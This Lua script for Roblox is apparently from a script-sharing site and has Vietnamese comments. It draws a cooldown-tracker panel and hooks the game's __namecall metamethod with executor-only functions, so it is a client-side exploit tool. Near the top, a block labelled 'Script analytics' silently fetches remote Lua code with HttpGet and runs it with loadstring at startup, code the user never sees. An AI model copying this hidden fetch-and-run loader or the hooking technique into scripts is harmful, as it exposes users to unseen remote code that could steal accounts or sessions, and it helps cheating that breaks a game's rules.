-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6aaa30d5ea05b95ccd29ebcc"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") -- CẤU HÌNH TỐI ĐA SỐ BAR HIỂN THỊ CÙNG LÚC local MAX_VISIBLE_BARS = 10 -- 1. TẠO CẤU TRÚC UI local screenGui = Instance.new("ScreenGui") screenGui.Name = "MasterCooldownTracker" screenGui.ResetOnSpawn = false screenGui.Parent = PlayerGui -- Khung cuộn chứa danh sách Cooldown local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Size = UDim2.new(0, 230, 0, 350) scrollFrame.Position = UDim2.new(0.8, 0, 0.35, 0) scrollFrame.BackgroundTransparency = 1 scrollFrame.BorderSizePixel = 0 scrollFrame.ScrollBarThickness = 4 scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) scrollFrame.Parent = screenGui local layout = Instance.new("UIListLayout") layout.Padding = UDim.new(0, 5) layout.SortOrder = Enum.SortOrder.LayoutOrder layout.Parent = scrollFrame -- Tự động điều chỉnh kích thước Canvas khi danh sách dài ra layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() scrollFrame.CanvasSize = UDim2.new(0, 0, 0, layout.AbsoluteContentSize.Y) end) local activeBars = {} -- 2. HÀM TẠO VÀ QUẢN LÝ TỐI ĐA CÁC THANH COOLDOWN local function createCooldownBar(skillIdentifier, duration) local skillName = "Unknown Skill" if typeof(skillIdentifier) == "Instance" then skillName = skillIdentifier.Name elseif typeof(skillIdentifier) == "string" or typeof(skillIdentifier) == "number" then skillName = "Move " .. tostring(skillIdentifier) elseif typeof(skillIdentifier) == "table" and skillIdentifier.Name then skillName = tostring(skillIdentifier.Name) end local cdTime = tonumber(duration) if not cdTime or cdTime <= 0 then return end -- Tạo Element UI mới local label = Instance.new("TextLabel") label.Size = UDim2.new(1, -8, 0, 32) label.BackgroundColor3 = Color3.fromRGB(25, 25, 25) label.BorderSizePixel = 0 label.TextColor3 = Color3.fromRGB(255, 255, 255) label.Font = Enum.Font.GothamBold label.TextSize = 13 label.LayoutOrder = -tick() -- Giá trị âm của tick() giúp cái mới tạo luôn lên TRÊN CÙNG label.Parent = scrollFrame local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 6) corner.Parent = label -- Thêm vào danh sách active table.insert(activeBars, 1, label) -- Kiểm tra giới hạn số lượng UI tối đa if #activeBars > MAX_VISIBLE_BARS then local oldestBar = table.remove(activeBars, #activeBars) if oldestBar and oldestBar.Parent then oldestBar:Destroy() end end -- Đếm ngược thời gian thực task.spawn(function() local startTime = os.clock() local remaining = cdTime while remaining > 0 and label.Parent do label.Text = string.format(" ⏳ %s: %.1fs", skillName, remaining) task.wait(0.05) remaining = cdTime - (os.clock() - startTime) end -- Xóa khỏi bảng active khi hết thời gian local idx = table.find(activeBars, label) if idx then table.remove(activeBars, idx) end label:Destroy() end) end -- 3. XỬ LÝ LẮNG NGHE ĐA NGUỒN AN TOÀN (Async) task.spawn(function() local EventsFolder = ReplicatedStorage:WaitForChild("Events", 5) if not EventsFolder then return end -- NGUỒN 1: ReplicatedStorage.Events.CooldownMove local CooldownMove = EventsFolder:FindFirstChild("CooldownMove") or EventsFolder:WaitForChild("CooldownMove", 3) if CooldownMove and CooldownMove:IsA("RemoteEvent") then CooldownMove.OnClientEvent:Connect(createCooldownBar) end -- NGUỒN 2: ReplicatedStorage.Events.UI (CooldownRemote & CooldownBind) local UIEvents = EventsFolder:FindFirstChild("UI") or EventsFolder:WaitForChild("UI", 3) if UIEvents then local CooldownBind = UIEvents:FindFirstChild("CooldownBind") local CooldownRemote = UIEvents:FindFirstChild("CooldownRemote") if CooldownBind and CooldownBind:IsA("BindableEvent") then CooldownBind.Event:Connect(createCooldownBar) end if CooldownRemote and CooldownRemote:IsA("RemoteEvent") then CooldownRemote.OnClientEvent:Connect(createCooldownBar) end end -- NGUỒN 3: RemoteFunction UseMove (Hook Metamethod __namecall) local UseMove = EventsFolder:FindFirstChild("UseMove") if UseMove and UseMove:IsA("RemoteFunction") then local oldNamecall oldNamecall = hookmetamethod(game, "__namecall", function(self, ...) local method = getnamecallmethod() local args = {...} if self == UseMove and (method == "InvokeServer" or method == "invokeServer") then local moveId = args[1] local result = table.pack(oldNamecall(self, ...)) local cooldownTime = result[1] if cooldownTime then createCooldownBar(moveId, cooldownTime) end return table.unpack(result) end return oldNamecall(self, ...) end) end end) print("[Master Tracker] Đã khởi chạy lắng nghe Cooldown toàn diện!")